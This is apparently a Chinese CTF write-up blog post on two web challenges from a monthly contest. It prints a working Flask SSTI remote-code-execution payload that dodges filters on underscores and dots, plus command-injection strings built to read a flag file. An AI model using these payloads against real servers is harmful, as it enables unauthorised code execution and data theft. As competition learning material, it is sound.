安恒2月月赛 部分wp

easyflask1

打开是个非常熟悉的魔方前端,然后随意 fuzz 一下目录发现存在 ssti,结合题目名猜测是 flask ssti。

url 中过滤了下划线、句号,群里师傅搜到了这个讲如何 bypass 的项目,简单来说就是换一种代码风格,把 a.b 写成 a[‘b’] 的形式,由于本题目没有过滤中括号和引号,因此成功绕过;同时 ssti 需要调用某些魔法方法来支持 rce,因此还得绕过下划线,传别的参数可以绕过。

这个题目不知道是不是设置的问题,只要 url 里有 [\d*] 就直接 500,因此要用 __getitem__ 绕一下。flask 注入也不太熟,以后知道为什么了再回来补。

最后 rce 的 payload:

{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])
()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']
['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']
['x8'])(request['args']['x9'])}}?
x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__
&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval
&x9=__import__("os").popen('ls /').read()

commix

老生常谈的命令注入,拿了 flag 就溜了,听师傅们说后来很多人搅屎有的把题都删了23333

我的payload:

e=ca;f=t;a=ag;b=fl;c=.ph;d=p;$e$f $b$a$c$d

这个题不难,但是师傅们有很多骚姿势,顺便记录一下:

more `ls`    # by Y1ng
nl *         # by Mrkaixin
rev `ls`     # by P3rh4ps

剩下的一个求三个 md5 碰撞的,一个玩儿 whirlpool 哈希函数的,全部不会做,等大佬们wp出来学习一波

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.